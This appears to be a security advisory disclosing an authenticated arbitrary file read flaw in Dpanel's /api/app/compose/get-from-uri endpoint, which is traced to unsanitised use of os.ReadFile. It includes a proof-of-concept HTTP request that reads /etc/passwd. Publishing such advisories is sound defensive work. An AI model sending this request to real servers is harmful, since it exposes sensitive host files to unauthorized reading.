### Summary Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files. ### Details When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling. ![image-20250702004157585](https://github.com/user-attachments/assets/1f0e683b-bf0b-49e6-8d68-833fcf3f214d) ![image-20250702004223184](https://github.com/user-attachments/assets/b5e89e02-f572-4edf-aaa8-566dea090d3f) ### PoC ```text POST /api/app/compose/get-from-uri HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Bearer eyJ......lWg== Connection: close Content-Type: application/json Content-Length: 21 {"uri":"/etc/passwd"} ``` ### Impact This vulnerability could lead to the leakage of sensitive server file information.
